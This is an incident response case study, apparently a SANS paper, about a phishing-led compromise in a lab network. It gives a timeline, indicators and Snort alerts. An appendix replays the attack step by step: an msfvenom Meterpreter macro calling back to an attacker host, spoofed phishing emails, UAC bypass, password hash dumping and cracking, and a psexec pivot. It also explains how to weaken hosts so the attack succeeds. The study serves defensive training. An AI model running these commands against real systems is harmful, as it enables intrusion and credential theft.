At this point, the Incident Handler may have done sufficient analysis on the incident. The organization has the information it needs to be able to complete the remaining phases of the Incident Response Lifecycle. More analysis, of course, could be done and it could uncover additional information like the scanning activities leading up to the sending of the email. But, would investing more time provide any material information that would justify the time spent? That is a judgment to be made by the incident responders.

A handy summary of the events that transpired that led to this analysis can be summarized by a timeline as shown in the following table.

<table>
<thead>
<tr>
<th>Time (UTC)</th>
<th>Event</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-07-29</td>
<td>Attacker, 192.168.239.130 sent malicious email to <a href="mailto:astark@winterfell.local">astark@winterfell.local</a></td>
<td>Wireshark</td>
</tr>
<tr>
<td>15:17:03</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Snort identified Shellcode in network traffic between the attacker, 192.168.239.130, and the mail server, 192.168.10.140, on port 25</td>
<td>Snort</td>
</tr>
<tr>
<td>15:17:14</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Attacker, 192.168.239.130 sent malicious email to <a href="mailto:bstark@winterfell.local">bstark@winterfell.local</a></td>
<td>Wireshark</td>
</tr>
<tr>
<td>15:17:31</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Attacker, 192.168.239.130 sent malicious email to <a href="mailto:jsnow@winterfell.local">jsnow@winterfell.local</a></td>
<td>Wireshark</td>
</tr>
<tr>
<td>15:17:51</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Attacker, 192.168.239.130 sent malicious email to <a href="mailto:sstark@winterfell.local">sstark@winterfell.local</a></td>
<td>Wireshark</td>
</tr>
<tr>
<td>15:18:36</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2017-07-29</td>
<td>192.168.11.104 queried the DNS server to resolve mail.winterfell.local</td>
<td>Wireshark</td>
</tr>
<tr>
<td>15:33:06</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2017-07-29</td>
<td>The user on 192.168.11.104, Sansa Stark, communicated with the email server on port 995. This would have been a download of her mail messages.</td>
<td>Wireshark and Netflow</td>
</tr>
<tr>
<td>15:33:06</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

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<table>
<thead>
<tr>
<th>Time (UTC)</th>
<th>Event</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017-07-29</td>
<td>192.168.11.104 queried the DNS server to resolve ironislands.westeros.local. It resolved to the attacker box, 192.168.239.130</td>
<td>Wireshark</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Communication began between the victim, 192.168.11.104, and the attacker, 192.168.239.130, on TCP port 80. This included the download of a malicious file.</td>
<td>Wireshark and Netflow</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Snort identified an executable in the network traffic between the attacker, 192.168.239.130, and the victim, 192.168.11.104 on port 80.</td>
<td>Snort</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Communication began between the victim, 192.168.11.104, and the attacker, 192.168.239.130, on TCP port 8080. It included the download of a malicious file.</td>
<td>Wireshark and Netflow</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Snort identified an executable in the network traffic between the attacker, 192.168.239.130, and the victim, 192.168.11.104 on port 8080.</td>
<td>Snort</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Victim, 192.168.11.104 began scanning of the system at 192.168.11.101 on the internal desktop network</td>
<td>Netflow</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Victim, 192.168.11.104 began scanning of the system at 192.168.11.102 on the internal network</td>
<td>Netflow</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Victim, 192.168.11.104 began scanning of the system at 192.168.11.103 on the internal network</td>
<td>Netflow</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>SMB traffic initiated from the Victim, 192.168.11.104, to a second victim, 192.168.11.101. User ID was jsnow and file svcctl was deposited on the system.</td>
<td>Wireshark and Netflow</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Communication began between the victim, 192.168.11.101, and the attacker, 192.168.239.130, on TCP port 4444. This included the download of a malicious file.</td>
<td>Netflow and Wireshark</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Snort identified an executable in the network traffic between the attacker, 192.168.239.130, and the second victim, 192.168.11.101 on port 4444.</td>
<td>Snort</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Communication began between the victim, 192.168.11.101, and the attacker, 192.168.239.130, on TCP port 8082. It included the download of a malicious file.</td>
<td>Netflow and Wireshark</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Snort identified an executable in the network traffic between the attacker, 192.168.239.130, and the second victim, 192.168.11.101 on port 8082.</td>
<td>Snort</td>
</tr>
<tr>
<td>2017-07-29</td>
<td>Arya sent an email to Security notifying them of a suspicious email.</td>
<td>Wireshark</td>
</tr>
</tbody>
</table>
Out of the analysis, we identified Indicators of Compromise (IoC) that could be used to detect a similar incident or a continuation or reoccurrence of this attack. For example:

- Mail with attachments that contain a macro or shellcode
- Network traffic containing executables
- DNS lookup on ironislands.westeros.local
- Network traffic to the IP address 192.168.239.130
- Scanning activities on the internal network
- SMB traffic on the internal Desktop network.

4. Conclusion

We analyzed a security incident based on the receipt of phishing emails and followed the path that led from the initial indicator that an event may have occurred. Our analysis followed the Incident Handling process from the Identification Phase through the Containment Phase. We saw how analysis of network traffic with the assistance of other tools assists the incident responder in their response activities.

In this case, our analysis was triggered by an email from a person, who thought the email was suspicious, followed corporate guidelines, and reported it. The analysis could have been triggered by other indicators that something suspicious occurred. For example, Snort generated 24 alerts on the network traffic. These alerts resulted from the triggering of two different rules.

```
# grep '\[**\]' alert | sort | uniq -c | sort -rn
 20 [**] [1:1394:12] SHELLCODE x86 inc ecx NOOP [**]
  4 [**] [1:1390:8] SHELLCODE x86 inc ebx NOOP [**]
```

Examining the detailed alerts identifies the email traffic containing the Word document containing the malicious executable. It also indicates a potential suspicious IP address, 192.168.239.130.

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# grep '.*\[**\].*' -A 2 alert | grep '1394:' -A 2
[**] [1:1394:12] SHELLCODE x86 inc ecx NOOP [**]
[Classification: Executable Code was Detected] [Priority: 1]
--

[**] [1:1394:12] SHELLCODE x86 inc ecx NOOP [**]
[Classification: Executable Code was Detected] [Priority: 1]
--

[**] [1:1394:12] SHELLCODE x86 inc ecx NOOP [**]
[Classification: Executable Code was Detected] [Priority: 1]
--

[**] [1:1394:12] SHELLCODE x86 inc ecx NOOP [**]
[Classification: Executable Code was Detected] [Priority: 1]
--

The other four Snort alerts identify four times in which executables were included in the network traffic and which we identified as post exploitation activities. They reinforced the suspicious nature of the 192.168.239.130 IP address.

# grep '.*\[**\].*' -A 2 alert | grep '1390:' -A 2
[**] [1:1390:8] SHELLCODE x86 inc ebx NOOP [**]
[Classification: Executable Code was Detected] [Priority: 1]
--

[**] [1:1390:8] SHELLCODE x86 inc ebx NOOP [**]
[Classification: Executable Code was Detected] [Priority: 1]
--

[**] [1:1390:8] SHELLCODE x86 inc ebx NOOP [**]
[Classification: Executable Code was Detected] [Priority: 1]
07/29-16:17:44.447162 192.168.239.130:4444 -> 192.168.11.101:49166
--

[**] [1:1390:8] SHELLCODE x86 inc ebx NOOP [**]
[Classification: Executable Code was Detected] [Priority: 1]
07/29-16:33:45.796406 192.168.239.130:8082 -> 192.168.11.101:49169
--

These indicators could act as alternate entry points into the analysis and which would lead to the same conclusions. Using Snort against a live feed instead of processing the network traffic after the fact would enhance incident detection. Doing so could have allowed the detection of the malicious email earlier and, depending on the response, could have avoided the organization from falling victim to the attack.
Appendix A: Details of the Attack

This appendix provides details on the attacker’s actions used to generate this case study. This information permits the validation of the effectiveness of the IR analysis. It also allows a reader to replicate the analysis in the paper.

A commonly used attacker methodology follows a series of phases: Planning, Reconnaissance, Scanning, Exploitation, and Post-exploitation (Skoudis, 2017a). During the Reconnaissance phase, the attacker gathers information about the target from public sources. Included in Reconnaissance is the collection of domain information like the domain name, mail servers, web servers, and domain name servers. The Scanning phase seeks to learn more about the target environment through interaction with the target systems (SANS, 2017). The attacker is looking to discover such things as active hosts, open ports, and services running on those ports. The goal is to find potential vulnerabilities. During the Exploitation phase, the attacker takes advantage of vulnerabilities to gain access or cause a computer system to behave in an unintended manner (Skoudis, 2017b). During Post Exploitation, the attacker is looking for useful information on the exploited system (Skoudis, 2017c). This information could include such things as sensitive data, other systems on the network that might be potential targets, other networks the system connects to that might present additional targets, and anything else that might be of perceived value to the attacker. The attack analyzed in this paper followed this methodology.

1. Prelude to the Attack

Through reconnaissance of the target organization, Winterfell, the attacker identified four people of particular interest: Jon Snow, Bran Stark, Arya Stark, and Sansa Stark. He learned that they were siblings and that each of them had a Direwolf. Jon’s Direwolf was named Ghost; Arya’s was Nymeria; Bran’s was Summer; and Sansa’s was Lady. The attacker also identified another person, Theon Greyjoy, associated with Winterfell. Winterfell uses a domain name of winterfell.local. Winterfell’s email address standard is first initial + last name @winterfell.local.

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Through DNS queries using nslookup, the attacker identified Winterfell's name server, ns1.winterfell.local, and mail server, mail.winterfell.local. The IP address range is in the 192.168.10.0/24 address space.

```plaintext
# date
Sat Jul 29 10:05:19 EDT 2017

# nslookup
> set type=any
> winterfell.local
Server: 192.168.10.230
Address: 192.168.10.230

winterfell.local
    origin = ns1.winterfell.local
    mail addr = admin.winterfell.local
    serial = 3
    refresh = 604800
    retry = 86400
    expire = 2419200
    minimum = 604800
    nameserver = ns1.winterfell.local.
    name = winterfell.local.
    mail exchanger = 10 mail.winterfell.local.
>
> mail.winterfell.local
Server: 192.168.10.230
Address: 192.168.10.230

Name: mail.winterfell.local
Address: 192.168.10.140
>
> ns1.winterfell.local
Server: 192.168.10.230
Address: 192.168.10.230

Name: ns1.winterfell.local
Address: 192.168.10.230
>
> exit

The attacker tried to perform a zone transfer using dig against the DNS server, but that attempt failed. Zone transfers are disabled on the DNS server.

```
Through a series of scans, the attacker determined that access to the Winterfell network is limited. Only a mail server, mail.winterfell.local, and a DNS server, ns1.winterfell.local, are exposed.

The attacker first performed a ping sweep of the address range associated with the Winterfell environment using Nmap. It revealed nothing. The firewall blocks ICMP traffic initiated from external systems.

```
# nmap -sP 192.168.10.0/24
```

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-07-29 10:07 EDT
Nmap done: 256 IP addresses (0 hosts up) scanned in 48.01 seconds

Since the attacker knew from the DNS queries that there were systems at 192.168.10.140 and 192.168.10.230, he performed scans looking for open ports on those systems. Nmap only found the ports expected for email and DNS.

```
# nmap -Pn -sT 192.168.10.140
```

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-07-29 10:08 EDT
Nmap scan report for mail.winterfell.local (192.168.10.140)
Host is up (1.00s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
25/tcp open  smtp

Nmap done: 1 IP address (1 host up) scanned in 1027.63 seconds

```
# nmap -Pn -sT 192.168.10.230
```

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-07-29 10:29 EDT
Nmap scan report for ns1.winterfell.local (192.168.10.230)
Host is up (0.00063s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
53/tcp open  domain

Nmap done: 1 IP address (1 host up) scanned in 1020.24 seconds

Version scanning of the two servers using Nmap gave a little more information about the services provided by the servers and the server’s operating systems. Nmap
identified the systems as running Red Hat Linux. The DNS server runs Bind 9.9.4 and the mail server runs postfix.

```bash
# nmap -Pn -sV 192.168.10.230 -p 53
```

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-07-29 10:49 EDT
Nmap scan report for ns1.winterfell.local (192.168.10.230)
Host is up (0.00082s latency).
PORT   STATE SERVICE VERSION
53/tcp open  domain  ISC BIND 9.9.4
Service Info: OS: Red Hat Enterprise Linux 7; CPE: cpe:/o:redhat:enterprise_linux:7

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds

```bash
# nmap -Pn -sV 192.168.10.140 -p 25
```

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-07-29 10:49 EDT
Nmap scan report for mail.winterfell.local (192.168.10.140)
Host is up (0.00056s latency).
PORT   STATE SERVICE
25/tcp open  smtp  Postfix smtpd
Service Info: Host: mail.winterfell.local

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.39 seconds

The attacker decided to explore the mail server a bit more. He used Nmap to check what commands the mail server accepts. He was hoping to find VRFY enabled so that he could validate the email addresses of his intended victims against what he believed was the Winterfell email naming standard.

```bash
# nmap -Pn --script smtp-commands -p:25 mail.winterfell.local
```

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-07-29 10:50 EDT
Nmap scan report for mail.winterfell.local (192.168.10.140)
Host is up (0.00052s latency).
PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-commands: mail.winterfell.local, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

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Since the Winterfell mail server accepts the VRFY command, the attacker could validate that specific email addresses to ensure they exist.

```
# nc -v 192.168.10.140 25
mail.winterfell.local [192.168.10.140] 25 (smtp) open
220 mail.winterfell.local ESMTP Postfix
VRFY astark@winterfell.local
252 2.0.0 astark@winterfell.local
VRFY bstark@winterfell.local
252 2.0.0 bstark@winterfell.local
VRFY sstark@winterfell.local
252 2.0.0 sstark@winterfell.local
VRFY jsnow@winterfell.local
252 2.0.0 jsnow@winterfell.local
^C
```

Given this information, the attacker decided to try a phishing attack. He would fashion an email pretending to come from Theon Greyjoy containing a Microsoft Word document with a picture of Jon’s Direwolf, Ghost. The Word document contains malicious code which reaches back to the attacker’s system giving him access to the victim’s computer.

Once a compromise is successful, the attacker would undertake Post-Exploitation activities, such as harvesting user accounts and passwords, looking for other potential victims on the internal network, and attempting to pivot to other internal systems.

### 2. Preparing for the Phishing Attack

The attacker generated malicious Visual Basic (VB) code that could be inserted as a macro into a Microsoft Word file using Metasploit’s. The resulting VB code opens Meterpreter over an HTTP connection back to the attacker’s machine, which resolves to a DNS hostname of ironislands.westeros.local.

```
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http LHOST=ironislands.westeros.local LPORT=80 -f vba -o mhttp.vba
```

No encoder or badchars specified, outputting raw payload
Payload size: 478 bytes
Final size of vba file: 3264 bytes
Saved as: mhttp.vba
A Word document was created by inserting a wolf picture, found on the Internet at https://www.pinterest.com/pin/534661786983528899/, into a Word document and saved as a Word-macro enabled document (Ghost.docm). The base document is shown below.
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The macro is inserted by selecting Macros > View Macros from the View tab. This brings up the macro screen as shown below.

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Entering a macro name, like Ghost, selecting Macros in “Ghost.docm (document) and clicking on the Create button, brings up the NewMacros (code) window. The code generated with msfvenom is inserted here replacing the code that was there.
3. Launching the Attack

Before sending the emails, the attacker needs to set up a listener on his kali system to receive the traffic initiated by the exploit. The exploit relies on Metasploit’s multi/handler. A feature of the windows/meterpreter/reverse_http payload is that it allows the specification of the attacker’s DNS host name instead of his IP address. Using a DNS name adds flexibility into the attack rather than using an IP address.

```text
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST ironislands.westeros.local
LHOST => ironislands.westeros.local
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set ExitOnSession false
```

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ExitOnSession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started HTTP reverse handler on http://192.168.239.130:80
[*] Starting the payload handler...

With the listener running, the email can be sent out. Kali Linux has a tool, sendEmail, that can be used to send out the personalized emails.

```bash
# sendEmail -t astark@winterfell.local -f tgreyjoy@westeros.local -s mail.winterfell.local:25 -u "Picture of Ghost" -m "Arya,\n\nAttached is a picture I took of Jon’s Direwolf, Ghost. I thought you would like it.\n\nTheon" -a /root/Desktop/Ghost.docm -o tls=no
Jul 29 11:17:14 casterlyrock sendEmail[1368]: Email was sent successfully!

# sendEmail -t bstark@winterfell.local -f tgreyjoy@westeros.local -s mail.winterfell.local:25 -u "Picture of Ghost" -m "Bran,\n\nAttached is a picture I took of Jon’s Direwolf, Ghost. I thought you would like it.\n\nTheon" -a /root/Desktop/Ghost.docm -o tls=no
Jul 29 11:17:42 casterlyrock sendEmail[1370]: Email was sent successfully!

# sendEmail -t jsnow@winterfell.local -f tgreyjoy@westeros.local -s mail.winterfell.local:25 -u "Picture of Ghost" -m "Jon,\n\nAttached is a picture I took of your Direwolf, Ghost. I thought you would like it.\n\nTheon" -a /root/Desktop/Ghost.docm -o tls=no
Jul 29 11:18:01 casterlyrock sendEmail[1372]: Email was sent successfully!

# sendEmail -t sstark@winterfell.local -f tgreyjoy@westeros.local -s mail.winterfell.local:25 -u "Picture of Ghost" -m "Sansa,\n\nAttached is a picture I took of Jon’s Direwolf, Ghost. I thought you would like it.\n\nTheon" -a /root/Desktop/Ghost.docm -o tls=no
Jul 29 11:18:46 casterlyrock sendEmail[1374]: Email was sent successfully!
```

Now the attacker has to wait for someone to take the bait.

### 4. First Victim

The attacker is alerted by Metasploit when someone opens the malicious Word document containing the macro.

```bash
[*] http://ironislands.westeros.local:80 handling request from 192.168.11.104;
(UUID: b2piskd1) Staging Native payload...
[*] Meterpreter session 1 opened (192.168.239.130:80 -> 192.168.11.104:49160)
at 2017-07-29 11:33:58 -0400
```

Since the multi handler started in the background (-j), the attacker needs to initiate interaction with the session.

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Once the session is active, the attacker can start to collect information about the victim.

meterpreter > sysinfo
Computer : VICTIM04
OS : Windows 7 (Build 7600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32

meterpreter > getuid
Server username: VICTIM04\sstark

meterpreter > shell
Process 2632 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\sstark\Documents>whoami
whoami
victim04\sstark

C:\Users\sstark\Documents>ipconfig
ipconfig

Windows IP Configuration

  Ethernet adapter Local Area Connection:

  Connection-specific DNS Suffix . :
  IPv4 Address . . . . . . . . . . . . : 192.168.11.104
  Subnet Mask . . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . . . . . . : 192.168.11.5

C:\Users\sstark\Documents>arp -a
arp -a

Interface: 192.168.11.104 --- 0xb

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<th>Physical Address</th>
<th>Type</th>
</tr>
</thead>
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<td>00-0c-29-41-60-d1</td>
<td>dynamic</td>
</tr>
<tr>
<td>192.168.11.255</td>
<td>ff-ff-ff-ff-ff-ff</td>
<td>static</td>
</tr>
<tr>
<td>224.0.0.22</td>
<td>01-00-5e-00-00-16</td>
<td>static</td>
</tr>
</tbody>
</table>

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224.0.0.252          01-00-5e-00-00-fc   static
239.255.255.250       01-00-5e-7f-ff-fa   static

C:\Users\sstark\Documents>net user

User accounts for \VICTIM04

-------------------------------------------------------------------------------
| admin         | Administrator | astark |
| bstark        | Guest         | jsnow  |
| sstark        |                |        |
The command completed successfully.

C:\Users\sstark\Documents>net localgroup

Aliases for \VICTIM04

-------------------------------------------------------------------------------
*Administrators
*Backup Operators
*Cryptographic Operators
*Distributed COM Users
*Event Log Readers
*Guests
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Remote Desktop Users
*Replicator
*Users
The command completed successfully.

C:\Users\sstark\Documents>net localgroup Administrators

net localgroup Administrators

Alias name     Administrators
Comment         Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
| admin         | Administrator    |
| jsnow         |                  |

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The attacker now knows from his post exploitation efforts:

- **IP address of the compromised system, 192.168.11.104**
- **User who opened the document, sstark**
- **Sstark and jsnow are admins on the system**
- **Compromised system is Windows 7, build 7600**
- **Compromised system is part of a workgroup, WORKGROUP**
- **Compromised system is on the 192.168.11.0/24 subnet**

Next the attacker attempts to escalate his privileges to SYSTEM through a two-step process. First, the Metasploit exploit windows/local/bypassuac is run to disable User Access Controls. This opens up a new session. Then, the Meterpreter getsystem command is run to elevate the user’s privileges.

```
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(bypassuac) > set SESSION 1
SESSION => 1
msf exploit(bypassuac) > set LHOST 192.168.239.130
LHOST => 192.168.239.130
msf exploit(bypassuac) > set LPORT 8080
LPORT => 8080
msf exploit(bypassuac) > exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.239.130:8080
msf exploit(bypassuac) > [*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[+] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
```

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A Practical Example of Incident Response to a Network Based Attack

[*] Sending stage (957999 bytes) to 192.168.11.104
[*] Meterpreter session 2 opened (192.168.239.130:8080 -> 192.168.11.104:49162) 
at 2017-07-29 11:44:30 -0400

msf exploit(bypassuac) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: VICTIMO4\sstark

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

With SYSTEM privileges, the attacker can use the Meterpreter hashdump command to get a list of users and their password hashes. Having the password hashes allows the attacker to use John the Ripper to attempt to crack some user’s passwords.

meterpreter > hashdump
admin:1000:aad3b435b51404eeaad3b435b51404ee:40e04a5c5ec783dae6bb2ec364b09a66:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
astark:1003:aad3b435b51404eeaad3b435b51404ee:678c2a9b924ed38da2a7e2054d25b7:::
bstark:1002:aad3b435b51404eeaad3b435b51404ee:dbec4f0e9c2945cc99b5cf8568b852c5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
jsnow:1001:aad3b435b51404eeaad3b435b51404ee:b675ca6ddd246c677b704fa8a4d24632:::
sstark:1004:aad3b435b51404eeaad3b435b51404ee:2ec6529c27ac4eb04b45d85aece1bec8:::

John the Ripper identified three passwords. Bran’s was Summer. Jon’s was Ghost, and Sansa’s was Lady. Interesting, these correspond to the names of their Direwolfs. If Arya followed this pattern, her password is Nymeria.

# john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with no different salts (NT [MD4 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
Administrator
Summer (bstark)
Ghost (jsnow)
Lady (sstark)
4g 0:00:00:02 DONE (2017-07-29 11:49) 1.619g/s 5807Kp/s 5807Kc/s 16222KC/
Vamos!
Warning: passwords printed above might not be all those cracked

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Use the "--show" option to display all of the cracked passwords reliably.
Session completed

Now that the attacker has system privileges, he can also find other systems on the internal network using Metasploit’s ping_sweep.

meterpreter > background
[*] Backgrounding session 2...
msf exploit(bypassuac) > use post/multi/gather/ping_sweep
msf post(ping_sweep) > set RHOSTS 192.168.11.0/24
RHOSTS => 192.168.11.0/24
msf post(ping_sweep) > set SESSION 2
SESSION => 2
msf post(ping_sweep) > set VERBOSE false
VERBOSE => false
msf post(ping_sweep) > run
[*] Performing ping sweep for IP range 192.168.11.0/24
[*] 192.168.11.5 host found
[*] 192.168.11.103 host found
[*] 192.168.11.102 host found
[*] 192.168.11.101 host found
[*] 192.168.11.104 host found
[*] Post module execution completed

msf exploit(bypassuac) > sessions -i 2
[*] Starting interaction with 2...

Meterpreter’s arp_scanner is another option for finding systems on the internal network.

meterpreter > run arp_scanner -r 192.168.11.0/24
[*] ARP Scanning 192.168.11.0/24
[*] IP: 192.168.11.15 MAC 00:0c:29:41:60:d1
[*] IP: 192.168.11.102 MAC 00:0c:29:d4:47:a9
[*] IP: 192.168.11.104 MAC 00:0c:29:57:17:0d
[*] IP: 192.168.11.101 MAC 00:0c:29:65:bf:b6
[*] IP: 192.168.11.103 MAC 00:0c:29:58:f4:35
[*] IP: 192.168.11.255 MAC 00:0c:29:57:17:0d

Having identified other systems, the attacker can use Metasploit to perform port scans. To do so, he must first create a route through an existing session to allow him to pivot internally to another target.

meterpreter > background

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5. Second Victim

The attacker now has opportunities to expand his foothold into the Winterfell network. He identified the IP addresses of systems on the network and knows they are running services on port 445/TCP, which is probably SMB. Perhaps he can use the user names and passwords he identified with Metasploit’s psexec exploit to gain access to another system.

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LHOST => 192.168.239.130
msf exploit(psexec) > exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.239.130:4444
msf exploit(psexec) > [*] 192.168.11.101:445 - Connecting to the server...
[*] 192.168.11.101:445 - Authenticating to 192.168.11.101:445 as user 'jsnow'...
[*] 192.168.11.101:445 - Selecting PowerShell target
[*] 192.168.11.101:445 - Executing the payload...
[+] 192.168.11.101:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (957999 bytes) to 192.168.11.101
[*] Meterpreter session 3 opened (192.168.239.130:4444 -> 192.168.11.101:49166)
at 2017-07-29 12:17:46 -0400

Success! Now the attacker can go through similar information gathering on the newly compromised system.

msf exploit(psexec) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer : VICTIM01
OS : Windows 7 (Build 7600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

The attacker took another action of note. He created another executable using msfvenom that could be run on the compromised system to reach back to the attacker’s computer. The executable was copied through the Metasploit session and executed.

```
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp_dns LHOST=ironislands.westeros.local LPORT=8082 -f exe -o mal.exe
No encoder or badchars specified, outputting raw payload
Payload size: 371 bytes
Final size of exe file: 73802 bytes
Saved as: mal.exe
```

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Once again the first step is to establish a Metasploit multi/handler to accept the incoming traffic from the victim.

meterpreter > background
[*] Backgrounding session 3...
msf exploit(psexec) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp_dns
PAYLOAD => windows/meterpreter/reverse_tcp_dns
msf exploit(handler) > set LHOST ironislands.westeros.local
LHOST => ironislands.westeros.local
msf exploit(handler) > set LPORT 8082
LPORT => 8082
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.239.130:8082
msf exploit(handler) > [*] Starting the payload handler...

Upload the executable to the victim

msf exploit(handler) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > lpwd
/root/Desktop

meterpreter > pwd
C:\Windows\system32

meterpreter > upload mal.exe c:\\Windows\\system32
[*] uploading : mal.exe -> c:\Windows\system32
[*] uploaded : mal.exe -> c:\Windows\system32\mal.exe

Next, run the executable.

meterpreter > execute -f mal.exe -i -H
Process 2016 created.

[*] Sending stage (957999 bytes) to 192.168.11.101
Channel 2 created.
[*] Meterpreter session 4 opened (192.168.239.130:8082 -> 192.168.11.101:49169) at 2017-07-29 12:33:48 -0400

The attack ended here.
Appendix B: Configuring the Windows workstation to be vulnerable to the attack

This appendix provides details on configuring the Windows 7 victim computers to ensure the success of the attack. The Windows Firewall should be disabled. It can be disabled in the Control Panel by adjusting the firewall settings found under System and Security.

Microsoft Word needs macros enabled. This is done under Options on the File menu. This displays the Word Options window. The window that permits enabling all macros is found under Choosing the Trust Center > Trust Center Settings > Macro Settings.
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PsExec requires the DWORD called LocalAccountTokenFilterPolicy in the registry under
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System set to a value of 1.
References


Zehm, Brandon. (September, 2010). SendEmail. Retrieved from Linux Man Pages on Kali Linux

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# Upcoming SANS Penetration Testing

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<th>Dates</th>
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<td>London, United Kingdom</td>
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